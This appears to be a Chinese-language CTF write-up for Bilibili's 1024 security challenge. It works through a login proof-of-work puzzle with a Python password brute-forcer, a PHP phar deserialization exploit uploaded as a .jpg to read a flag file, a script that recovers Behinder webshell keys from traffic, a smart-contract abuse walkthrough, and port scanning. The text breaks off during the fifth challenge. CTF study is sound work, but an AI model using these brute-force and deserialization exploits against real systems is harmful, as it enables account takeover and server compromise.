【整理】B站安全攻防挑战赛Writeup
作者:Sec-Labs | 发布时间:
杂谈
之前看很多网友在群里讨论的非常激烈,现在这些题目还可以在线去做一下,如果不会可以考虑看下本篇文章
答题入口
https://security.bilibili.com/sec1024/
第一题
题目入口
https://security.bilibili.com/crack1/index
解题过程
首先,我们可以看到页面上的提示,里面告诉我们Take Care Of Your Memory!!!
如果你比较胆大,点一下登录就知道咯,页面会非常卡,而且CPU会突然变得很高!
并且我们看到这里的js代码还是颜文字

针对颜文字,我们首先想到将其转换为可以阅读的js格式
我们可以使用解密工具,将其转换为可读的js
function SHA256(s) {
const chrsz = 8
const hexcase = 0
function safe_add(x, y) {
const lsw = (x & 0xFFFF) + (y & 0xFFFF)
const msw = (x >> 16) + (y >> 16) + (lsw >> 16)
return (msw << 16) | (lsw & 0xFFFF)
}
function S(X, n) {
return (X >>> n) | (X << (32 - n))
}
function R(X, n) {
return (X >>> n)
}
function Ch(x, y, z) {
return ((x & y) ^ ((~x) & z))
}
function Maj(x, y, z) {
return ((x & y) ^ (x & z) ^ (y & z))
}
function Sigma0256(x) {
return (S(x, 2) ^ S(x, 13) ^ S(x, 22))
}
function Sigma1256(x) {
return (S(x, 6) ^ S(x, 11) ^ S(x, 25))
}
function Gamma0256(x) {
return (S(x, 7) ^ S(x, 18) ^ R(x, 3))
}
function Gamma1256(x) {
return (S(x, 17) ^ S(x, 19) ^ R(x, 10))
}
function core_sha256(m, l) {
const K = [0x428A2F98, 0x71374491, 0xB5C0FBCF, 0xE9B5DBA5, 0x3956C25B, 0x59F111F1, 0x923F82A4, 0xAB1C5ED5, 0xD807AA98, 0x12835B01, 0x243185BE, 0x550C7DC3, 0x72BE5D74, 0x80DEB1FE, 0x9BDC06A7, 0xC19BF174, 0xE49B69C1, 0xEFBE4786, 0xFC19DC6, 0x240CA1CC, 0x2DE92C6F, 0x4A7484AA, 0x5CB0A9DC, 0x76F988DA, 0x983E5152, 0xA831C66D, 0xB00327C8, 0xBF597FC7, 0xC6E00BF3, 0xD5A79147, 0x6CA6351, 0x14292967, 0x27B70A85, 0x2E1B2138, 0x4D2C6DFC, 0x53380D13, 0x650A7354, 0x766A0ABB, 0x81C2C92E, 0x92722C85, 0xA2BFE8A1, 0xA81A664B, 0xC24B8B70, 0xC76C51A3, 0xD192E819, 0xD6990624, 0xF40E3585, 0x106AA070, 0x19A4C116, 0x1E376C08, 0x2748774C, 0x34B0BCB5, 0x391C0CB3, 0x4ED8AA4A, 0x5B9CCA4F, 0x682E6FF3, 0x748F82EE, 0x78A5636F, 0x84C87814, 0x8CC70208, 0x90BEFFFA, 0xA4506CEB, 0xBEF9A3F7, 0xC67178F2]
const HASH = [0x6A09E667, 0xBB67AE85, 0x3C6EF372, 0xA54FF53A, 0x510E527F, 0x9B05688C, 0x1F83D9AB, 0x5BE0CD19]
const W = new Array(64)
let a, b, c, d, e, f, g, h, i, j
let T1, T2
m[l >> 5] |= 0x80 << (24 - l % 32)
m[((l + 64 >> 9) << 4) + 15] = l
for (i = 0; i < m.length; i += 16) {
a = HASH[0]
b = HASH[1]
c = HASH[2]
d = HASH[3]
e = HASH[4]
f = HASH[5]
g = HASH[6]
h = HASH[7]
for (j = 0; j < 64; j++) {
if (j < 16) {
W[j] = m[j + i]
} else {
W[j] = safe_add(safe_add(safe_add(Gamma1256(W[j - 2]), W[j - 7]), Gamma0256(W[j - 15])), W[j - 16])
}
T1 = safe_add(safe_add(safe_add(safe_add(h, Sigma1256(e)), Ch(e, f, g)), K[j]), W[j])
T2 = safe_add(Sigma0256(a), Maj(a, b, c))
h = g
g = f
f = e
e = safe_add(d, T1)
d = c
c = b
b = a
a = safe_add(T1, T2)
}
HASH[0] = safe_add(a, HASH[0])
HASH[1] = safe_add(b, HASH[1])
HASH[2] = safe_add(c, HASH[2])
HASH[3] = safe_add(d, HASH[3])
HASH[4] = safe_add(e, HASH[4])
HASH[5] = safe_add(f, HASH[5])
HASH[6] = safe_add(g, HASH[6])
HASH[7] = safe_add(h, HASH[7])
}
return HASH
}
function str2binb(str) {
const bin = []
const mask = (1 << chrsz) - 1
for (let i = 0; i < str.length * chrsz; i += chrsz) {
bin[i >> 5] |= (str.charCodeAt(i / chrsz) & mask) << (24 - i % 32)
}
return bin
}
function Utf8Encode(string) {
string = string.replace(/\r\n/g, '\n')
let utfText = ''
for (let n = 0; n < string.length; n++) {
const c = string.charCodeAt(n)
if (c < 128) {
utfText += String.fromCharCode(c)
} else if ((c > 127) && (c < 2048)) {
utfText += String.fromCharCode((c >> 6) | 192)
utfText += String.fromCharCode((c & 63) | 128)
} else {
utfText += String.fromCharCode((c >> 12) | 224)
utfText += String.fromCharCode(((c >> 6) & 63) | 128)
utfText += String.fromCharCode((c & 63) | 128)
}
}
return utfText
}
function binb2hex(binarray) {
const hex_tab = hexcase ? '0123456789ABCDEF' : '0123456789abcdef'
let str = ''
for (let i = 0; i < binarray.length * 4; i++) {
str += hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8 + 4)) & 0xF) +
hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8)) & 0xF)
}
return str
}
s = Utf8Encode(s)
return binb2hex(core_sha256(str2binb(s), s.length * chrsz))
}
$(function () {
$("#btn").click(function () {
let username = document.getElementById('username').value.trim();
let password = document.getElementById('password').value.trim();
//let nonce = parseInt(Math.random()*9 + 23);
let nonce = parseInt(Math.random()*100 + 9);
let random = document.getElementById('random').value.trim();
console.log(nonce);
for (var i=0;i<Math.pow(2,255);i++) {
let mystr = username + password + random + i.toString();
var s256 = SHA256(mystr);
var s256hex = parseInt(s256, 16)
if (s256hex < Math.pow(2,(256-nonce))) {
console.log("success!");
console.log(mystr);
console.log(s256);
console.log(s256hex);
$.ajax({
url: '/crack1/login',
type: 'POST',
data: JSON.stringify({
'username': username,
'password': password,
'nonce': nonce,
'random': random,
'proof': i.toString(),
}),
dataType: 'json',
contentType: "application/json",
success: function (data) {
console.log(data);
},
error: function (data) {
console.log(data);
}
});
break;
}
}
})
});
如果你仔细分析代码,不难发现正是这里的循环导致了CPU大量的占用
for (var i=0;i<Math.pow(2,255);i++)
那么这种情况下,你可以修改代码,把循环注释掉,然后用手去尝试,比方说用console.log去打印,尝试一下哪些值是可以的
function SHA256(s) {
const chrsz = 8
const hexcase = 0
function safe_add(x, y) {
const lsw = (x & 0xFFFF) + (y & 0xFFFF)
const msw = (x >> 16) + (y >> 16) + (lsw >> 16)
return (msw << 16) | (lsw & 0xFFFF)
}
function S(X, n) {
return (X >>> n) | (X << (32 - n))
}
function R(X, n) {
return (X >>> n)
}
function Ch(x, y, z) {
return ((x & y) ^ ((~x) & z))
}
function Maj(x, y, z) {
return ((x & y) ^ (x & z) ^ (y & z))
}
function Sigma0256(x) {
return (S(x, 2) ^ S(x, 13) ^ S(x, 22))
}
function Sigma1256(x) {
return (S(x, 6) ^ S(x, 11) ^ S(x, 25))
}
function Gamma0256(x) {
return (S(x, 7) ^ S(x, 18) ^ R(x, 3))
}
function Gamma1256(x) {
return (S(x, 17) ^ S(x, 19) ^ R(x, 10))
}
function core_sha256(m, l) {
const K = [0x428A2F98, 0x71374491, 0xB5C0FBCF, 0xE9B5DBA5, 0x3956C25B, 0x59F111F1, 0x923F82A4, 0xAB1C5ED5, 0xD807AA98, 0x12835B01, 0x243185BE, 0x550C7DC3, 0x72BE5D74, 0x80DEB1FE, 0x9BDC06A7, 0xC19BF174, 0xE49B69C1, 0xEFBE4786, 0xFC19DC6, 0x240CA1CC, 0x2DE92C6F, 0x4A7484AA, 0x5CB0A9DC, 0x76F988DA, 0x983E5152, 0xA831C66D, 0xB00327C8, 0xBF597FC7, 0xC6E00BF3, 0xD5A79147, 0x6CA6351, 0x14292967, 0x27B70A85, 0x2E1B2138, 0x4D2C6DFC, 0x53380D13, 0x650A7354, 0x766A0ABB, 0x81C2C92E, 0x92722C85, 0xA2BFE8A1, 0xA81A664B, 0xC24B8B70, 0xC76C51A3, 0xD192E819, 0xD6990624, 0xF40E3585, 0x106AA070, 0x19A4C116, 0x1E376C08, 0x2748774C, 0x34B0BCB5, 0x391C0CB3, 0x4ED8AA4A, 0x5B9CCA4F, 0x682E6FF3, 0x748F82EE, 0x78A5636F, 0x84C87814, 0x8CC70208, 0x90BEFFFA, 0xA4506CEB, 0xBEF9A3F7, 0xC67178F2]
const HASH = [0x6A09E667, 0xBB67AE85, 0x3C6EF372, 0xA54FF53A, 0x510E527F, 0x9B05688C, 0x1F83D9AB, 0x5BE0CD19]
const W = new Array(64)
let a, b, c, d, e, f, g, h, i, j
let T1, T2
m[l >> 5] |= 0x80 << (24 - l % 32)
m[((l + 64 >> 9) << 4) + 15] = l
for (i = 0; i < m.length; i += 16) {
a = HASH[0]
b = HASH[1]
c = HASH[2]
d = HASH[3]
e = HASH[4]
f = HASH[5]
g = HASH[6]
h = HASH[7]
for (j = 0; j < 64; j++) {
if (j < 16) {
W[j] = m[j + i]
} else {
W[j] = safe_add(safe_add(safe_add(Gamma1256(W[j - 2]), W[j - 7]), Gamma0256(W[j - 15])), W[j - 16])
}
T1 = safe_add(safe_add(safe_add(safe_add(h, Sigma1256(e)), Ch(e, f, g)), K[j]), W[j])
T2 = safe_add(Sigma0256(a), Maj(a, b, c))
h = g
g = f
f = e
e = safe_add(d, T1)
d = c
c = b
b = a
a = safe_add(T1, T2)
}
HASH[0] = safe_add(a, HASH[0])
HASH[1] = safe_add(b, HASH[1])
HASH[2] = safe_add(c, HASH[2])
HASH[3] = safe_add(d, HASH[3])
HASH[4] = safe_add(e, HASH[4])
HASH[5] = safe_add(f, HASH[5])
HASH[6] = safe_add(g, HASH[6])
HASH[7] = safe_add(h, HASH[7])
}
return HASH
}
function str2binb(str) {
const bin = []
const mask = (1 << chrsz) - 1
for (let i = 0; i < str.length * chrsz; i += chrsz) {
bin[i >> 5] |= (str.charCodeAt(i / chrsz) & mask) << (24 - i % 32)
}
return bin
}
function Utf8Encode(string) {
string = string.replace(/\r\n/g, '\n')
let utfText = ''
for (let n = 0; n < string.length; n++) {
const c = string.charCodeAt(n)
if (c < 128) {
utfText += String.fromCharCode(c)
} else if ((c > 127) && (c < 2048)) {
utfText += String.fromCharCode((c >> 6) | 192)
utfText += String.fromCharCode((c & 63) | 128)
} else {
utfText += String.fromCharCode((c >> 12) | 224)
utfText += String.fromCharCode(((c >> 6) & 63) | 128)
utfText += String.fromCharCode((c & 63) | 128)
}
}
return utfText
}
function binb2hex(binarray) {
const hex_tab = hexcase ? '0123456789ABCDEF' : '0123456789abcdef'
let str = ''
for (let i = 0; i < binarray.length * 4; i++) {
str += hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8 + 4)) & 0xF) +
hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8)) & 0xF)
}
return str
}
s = Utf8Encode(s)
return binb2hex(core_sha256(str2binb(s), s.length * chrsz))
}
$(function () {
$("#btn").click(function () {
let username = document.getElementById('username').value.trim();
let password = document.getElementById('password').value.trim();
//let nonce = parseInt(Math.random()*9 + 23);
//let nonce = parseInt(Math.random()*100 + 9);
let nonce = 11;
let random = document.getElementById('random').value.trim();
console.log(nonce);
console.log(random);
console.log(username);
console.log(password);
var i = 1000
console.log(i.toString());
let mystr = username + password + random + i.toString();
var s256 = SHA256(mystr);
//var s256hex = parseInt(s256, 16);
var s256hex = 3.6450306677141817e+71;
console.log(mystr);
console.log(s256);
console.log(s256hex);
console.log(Math.pow(2,(256-nonce)));
if (s256hex < Math.pow(2,(256-nonce))) {
console.log("success!");
}else{
console.log("failure!")
}
// for (var i=0;i<Math.pow(2,255);i++) {
// let mystr = username + password + random + i.toString();
// var s256 = SHA256(mystr);
// var s256hex = parseInt(s256, 16)
// if (s256hex < Math.pow(2,(256-nonce))) {
// console.log("success!");
// console.log(mystr);
// console.log(s256);
// console.log(s256hex);
// $.ajax({
// url: '/crack1/login',
// type: 'POST',
// data: JSON.stringify({
// 'username': username,
// 'password': password,
// 'nonce': nonce,
// 'random': random,
// 'proof': i.toString(),
// }),
// dataType: 'json',
// contentType: "application/json",
// success: function (data) {
// console.log(data);
// },
// error: function (data) {
// console.log(data);
// }
// });
// break;
// }
// }
})
});
最终我们会发现nonce 改到最小为 9 ,很快就可以搞出来结果,你可以写个Python的脚本,password.txt要自行准备,其实题目中也告诉我们了,应该是8位的密码

from time import sleep
import requests
import re
from hashlib import sha256
session = requests.session()
url = "https://security.bilibili.com&;quot;
def getPassList():
#字典自备
with open('passwd.txt', 'r') as f:
list = f.read().split('\n')
newList = []
for word in list:
if len(word) == 8:
newList.append(word)
return newList
def proofWork(passList):
nonce = 9
target = pow(2, 256-nonce)
i = 0
password = ''
res = session.get(url + "/crack1/index")
if(res.status_code != 200):
print("have some error!")
exit(0)
randomValue = re.findall('value="(.*?)"', res.text)[0]
for passwd in passList:
while True:
mystr = "admin" + passwd + randomValue + str(i)
s256hex = int(sha256(mystr.encode()).hexdigest(), base=16)
if s256hex < target:
password = passwd
break
i += 1
data = {
"username": "admin",
"password": password,
"nonce": nonce,
"random": randomValue,
"proof": str(i)
}
print(f"当前password: {password}")
while True:
res = session.post(url + "/crack1/login", json=data)
if res.status_code == 200:
break
else:
print("post error! retry!")
sleep(5)
if "you don't proof your work" not in res.text:
print(res.text)
print(res.headers)
return password, nonce, randomValue, i
if __name__ == '__main__':
list = getPassList()
password, nonce, randomValue, i = proofWork(list)
print(f"password: {password}")
print(f"nonce: {nonce}")
print(f"random: {randomValue}")
print(f"i: {i}")
最后试到Aa123456时,你会得到对应的flag
第二题
题目入口
http://42.192.54.239/index.php
解题过程
首先,在面对一个几乎空白的站点,你可能会满脸的问号,这个时候我们可以做一下目录扫描,譬如使用ffuf进行模糊测试,webshell.txt字典需要自行准备(如果没有可以在我们社区里搜下字典相关的帖子)
ffuf -u http://42.192.54.239/FUZZ -w webshell.txt
很快就可以发现upload.php文件
<?php
header("content-type:text/html;charset=utf-8");
date_default_timezone_set('PRC');
if($_SERVER['REQUEST_METHOD']==='POST') {
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
if ($size > 2*1024*1024){
echo "<script>alert('文件过大');window.history.go(-1);</script>";
exit();
}
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
$allow_suffix = array('jpg','gif','jpeg','png');
if(!in_array($ext_suffix, $allow_suffix)){
echo "<script>alert('只能是jpg,gif,jpeg,png');window.history.go(-1);</script>";
exit();
}
$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;
move_uploaded_file($temp_name, 'upload/'.$new_filename);
echo "success save in: ".'upload/'.$new_filename;
} else if ($_SERVER['REQUEST_METHOD']==='GET') {
if (isset($_GET['c'])){
include("5d47c5d8a6299792.php");
$fpath = $_GET['c'];
if(file_exists($fpath)){//可触发phar反序列化
echo "file exists";
} else {
echo "file not exists";
}
} else {
highlight_file(__FILE__);
}
}
?>
以及5d47c5d8a6299792.php
<?php
// flag in /tmp/flag.php
class Modifier {
public function __invoke(){
include("index.php");
}
}
class Action {
protected $checkAccess;
protected $id;
public function run()
{
if(strpos($this->checkAccess, 'upload') !== false){
echo "error path";
exit();
}
if ($this->id !== 0 && $this->id !== 1) {
switch($this->id) {
case 0:
if ($this->checkAccess) {
include($this->checkAccess);
}
break;
case 1:
throw new Exception("id invalid in ".__CLASS__.__FUNCTION__);
break;
default:
break;
}
}
}
}
class Content {
public $formatters;
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
public function __call($name, $arguments)
{
return call_user_func_array($this->getFormatter($name), $arguments);
}
}
class Show{
public $source;
public $str;
public $reader;
public function __construct($file='index.php') {
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString() {
$this->str->reset();
}
public function __wakeup() {
if(preg_match("/gopher|phar|http|file|ftp|dict|\.\./i", $this->source)) {
throw new Exception('invalid protocol found in '.__CLASS__);
}
}
public function reset() {
if ($this->reader !== null) {
$this->reader->close();
}
}
}
highlight_file(__FILE__); 作者:天真可爱路西法小天使 https://www.bilibili.com/read/cv19457507?from=search 出处:bilibili
这里应该是一个phar的漏洞
exp
<?php
class Action {
protected $checkAccess;
protected $id;
public function __construct($checkAccess, $id)
{
$this->checkAccess = $checkAccess;
$this->id = $id;
}
}
class Content {
public $formatters;//数组 array('close'=>array(new Action(), 'run'))
public function __construct($formatters)
{
$this->formatters = $formatters;
}
}
class Show{
public $source;
public $str;
public $reader;
public function __construct($source, $str, $reader) {
$this->source = $source;
$this->str = $str;
$this->reader = $reader;
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$action = new Action('php://filter/read=convert.base64-encode/resource=/tmp/flag.php', '0');
$formatters = array('close' => array($action, 'run'));
$read = new Content($formatters);
$str = new Show('', '', $read);
$show1 = new Show('', $str, '');
$show0 = new Show($show1, '', '');
$phar->setMetadata($show0); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
rename("./phar.phar", "./phar.jpg");
访问http://42.192.54.239/upload.php?c=phar://文件地址
得到base64结果
LyoqCiAqIGJpbGliaWxpQDIwMjIuCiAqIENvbmdyYXR1bGF0aW9ucyEgVGhpcyBpcyBUaGUgRmxhZyEKICogQXV0aDogSzNpb3ZlQGdpdGh1YgogKiBSZXBvOiAxMDI0LWNoZWVycwogKiBAbGluayBodHRwczovL3NlY3VyaXR5LmJpbGliaWxpLmNvbS8KICogQGxpY2Vuc2UgaHR0cHM6Ly93d3cuYmlsaWJpbGkuY29tLwogKi8KCmZsYWcye1BoQXJfVGhlX2JFc1RfTGFuZ30=

/**
* bilibili@2022.
* Congratulations! This is The Flag!
* Auth: K3iove@github
* Repo: 1024-cheers
* @link https://security.bilibili.com/
* @license https://www.bilibili.com/
*/
flag2{PhAr_The_bEsT_Lang}
第三题
题目下载
https://security.bilibili.com/sec1024/crack3/whatbehind.zip
解题过程
先使用http过滤pcap包

通常分析pcap包,我们可以使用追踪流

然后看起来就会比较舒服
目测是冰蝎3.0+的流量

exp
from base64 import b64decode
phrases = [
"assert|eval(base64_decode('".encode(),
b'<?\n@error_reporting(0);\n\nfunctio',
b'<?\nfunction main($action, $remot',
b'<?\n@error_reporting(0);\nset_time',
b'\nerror_reporting(0);\n\nfunction m',
b'<?\n@error_reporting(0);\n\n\nfuncti',
b'<?\nerror_reporting(0);\nfunction ',
b'@error_reporting(0);\nfunction ma',
b'<?php\n\n$taskResult = array();\n$p',
b"<?\nerror_reporting(0);\nheader('C",
b'@error_reporting(0);\n\nfunction g',
b'<?\n@error_reporting(0);\n@set_tim',
]
def xor(l0, l1):
ret = [chr(ord(chr(a)) ^ ord(chr(b))) for a, b in zip(l0, l1)]
return "".join(ret)
def check(cipher):
cipher = b64decode(cipher)
for phrase in phrases:
p0 = phrase[0:16]
p1 = phrase[16:]
c0 = cipher[0:16]
c1 = cipher[16:16 + len(p1)]
# 16 bits
k0 = xor(p0, c0)
k1 = xor(p1, c1)
if (k1 in k0) and k1:
return k0
return None
def force_check(cipher):
key = check(cipher)
if key:
print("[+]", cipher[:32], "is XOR Behinder Request! ")
print("[+] The Key of Behinder is ", key)
return True
else:
print("[-]", cipher[:32], "not Behinder Request..")
return False
cipher_content = "加密报文"
for i in range(16, len(cipher_content), 4): # 从第16个字节开始,每4个字节为一组
cipher_content_slice = cipher_content[0:i] # 从第0个字节开始,截取i个字节
result = force_check(cipher_content_slice) # 检查截取的字节是否符合规则
if result:
print(f'i:{i}')
break
print("behind XOR is not found")
第四题
题目入口
https://security.bilibili.com/static/img/back2.png
https://security.bilibili.com/static/img/back.png
解题过程
根据第一题中css的提示,告诉第四题的入口在我们的back.png中
/*where hidden crack4*/
background: url("./img/back.png");
同时在我们完成第一题时,响应头里也告诉我们了back2.png也有一些线索

back2.png和back.png进行对比
cmp -bl back2.png back.png

我们发现有一个地址
sepolia@0x053cd080A26CB03d5E6d2956CeBB31c56E7660CA

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)
pragma solidity 0.8.12;
import "./IERC20.sol";
import "./IERC20Metadata.sol";
import "./Context.sol";
//import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
//import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
//import "@openzeppelin/contracts/utils/Context.sol";
struct Coupon {
uint loankey;
uint256 amount;
address buser;
bytes reason;
}
struct Signature {
uint8 v;
bytes32[2] rs;
}
struct SignCoupon {
Coupon coupon;
Signature signature;
}
contract MyToken is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => uint) public _ebalances;
mapping(address => uint) public ethbalances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint) public _profited;
mapping(address => uint) public _auth_one;
mapping(address => uint) public _authd;
mapping(address => uint) public _loand;
mapping(address => uint) public _flag;
mapping(address => uint) public _depositd;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address owner;
address backup;
uint secret;
uint tokenprice;
Coupon public c;
address public lala;
address public xixi;
//mid = bilibili uid
//b64email = base64(your email address)
//Don't leak your bilibili uid
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string mid, string b64email);
event changeprice(uint secret_);
constructor(string memory name_, string memory symbol_, uint secret_) {
_name = name_;
_symbol = symbol_;
owner = msg.sender;
backup = msg.sender;
tokenprice = 6;
secret = secret_;
_mint(owner, 2233102400);
}
modifier onlyowner() {
require(msg.sender == owner);
_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function deposit() public {
require(_depositd[msg.sender] == 0, "you can only deposit once");
_depositd[msg.sender] = 1;
ethbalances[msg.sender] += 1;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
function setbackup() public onlyowner {
owner = backup;
}
function ownerbackdoor() public {
require(msg.sender == owner);
_mint(owner, 1000);
}
function auth1(uint pass_) public {
require(pass_ == secret, "auth fail");
require(_authd[msg.sender] == 0, "already authd");
_auth_one[msg.sender] += 1;
_authd[msg.sender] += 1;
}
function auth2(uint pass_) public {
uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
require(pass == pass_, "password error, auth fail");
require(_auth_one[msg.sender] == 1, "need pre auth");
require(_authd[msg.sender] == 1, "already authd");
_authd[msg.sender] += 1;
}
function payforflag(string memory mid, string memory b64email) public {
require(_flag[msg.sender] == 2);
emit sendflag(mid, b64email);
}
function flashloan(SignCoupon calldata scoupon) public {
require(scoupon.coupon.loankey == 0, "loan key error");
require(msg.sender == address(this), "hacker get out");
Coupon memory coupon = scoupon.coupon;
Signature memory sig = scoupon.signature;
c = coupon;
require(_authd[scoupon.coupon.buser] == 2, "need pre auth");
require(_loand[scoupon.coupon.buser] == 0, "you have already loaned");
require(scoupon.coupon.amount <= 300, "loan amount error");
_loand[scoupon.coupon.buser] = 1;
_ebalances[scoupon.coupon.buser] += scoupon.coupon.amount;
}
function profit() public {
require(_profited[msg.sender] == 0);
_profited[msg.sender] += 1;
_transfer(owner, msg.sender, 1);
}
function borrow(uint amount) public {
require(amount == 1);
require(_profited[msg.sender] <= 1);
_profited[msg.sender] += 1;
_transfer(owner, msg.sender, amount);
}
function buy(uint amount) public {
require(amount <= 300, "max buy count is 300");
uint price;
uint ethmount = _ebalances[msg.sender];
if (ethmount < 10) {
price = 1000000;
} else if (ethmount >= 10 && ethmount <= 233) {
price = 10000;
} else {
price = 1;
}
uint payment = amount * price;
require(payment <= ethmount);
_ebalances[msg.sender] -= payment;
_transfer(owner, msg.sender, amount);
}
function sale(uint amount) public {
require(_balances[msg.sender] >= amount, "fail to sale");
uint earn = amount * tokenprice;
_transfer(msg.sender, owner, amount);
_ebalances[msg.sender] += earn;
}
function withdraw() public {
require(ethbalances[msg.sender] >= 1);
require(_ebalances[msg.sender] >= 1812);
payable(msg.sender).call{value : 100000000000000000 wei}("");
_ebalances[msg.sender] = 0;
_flag[msg.sender] += 1;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
require(msg.sender == owner);
//不允许被owner以外调用
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
require(msg.sender == owner);
//不允许被owner以外调用
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(msg.sender == owner);
//不允许被owner以外调用
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
// debug param secret
function get_secret() public view returns (uint) {
require(msg.sender == owner);
return secret;
}
// debug param tokenprice
function get_price() public view returns (uint) {
return tokenprice;
}
// test need to be delete
function testborrowtwice(SignCoupon calldata scoupon) public {
require(scoupon.coupon.loankey == 2233);
MyToken(this).flashloan(scoupon);
}
// test need to be delete
function set_secret(uint secret_) public onlyowner {
secret = secret_;
emit changeprice(secret_);
}
}
在remix ide上测试了一下发现一个账号能borrow两次
读代码找flag发现payforflag函数需要_flag=2,继续往下找发现withdraw一次_flag+1,触发withdraw函数需要ethbalances>=1和_ebalances>=1812触发后_ebalances清零往上继续查找_ebalances和ethbalances,发现ethbalances可以由deposit函数触发+1,继续找_ebalances在buy和sale中有调用读代码发现sale amount一次能得6倍_ebalances,而在buy函数中购买量大于233小于300的购买价格为1 _ebalances,简单计算一下233/2/6=19.4也就是说整20个账号转给一个主账号就能搞定,开冲!
使用小狐狸钱包选择eth测试网

在remix上
开刷,钱刷够后看payforflag函数他调用了一个sendflag函数这个函数还有注释
//mid = bilibili uid b64email = base64(your email address)
填入data触发payforflag函数收取flag邮件

第五题
题目入口
根据第2题的提示找到
https://github.com/K3iove/1024-cheers
http://101.132.189.74/index
解题过程

根据上面提示的工作区,我们知道工作区名称为bilibili-1024-cheers
在postman里直接搜就可以找到了

然后我们可以找到入口
/etc/server.go
扫下端口呗,这里使用fscan扫描工具
G:\tools\fscan-1.8.0>fscan -h 101.132.189.74
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.7.1
start infoscan
(icmp) Target 101.132.189.74 is alive
[*] Icmp alive hosts len is: 1
101.132.189.74:8088 open
101.132.189.74:8082 open
101.132.189.74:80 open
101.132.189.74:8081 open
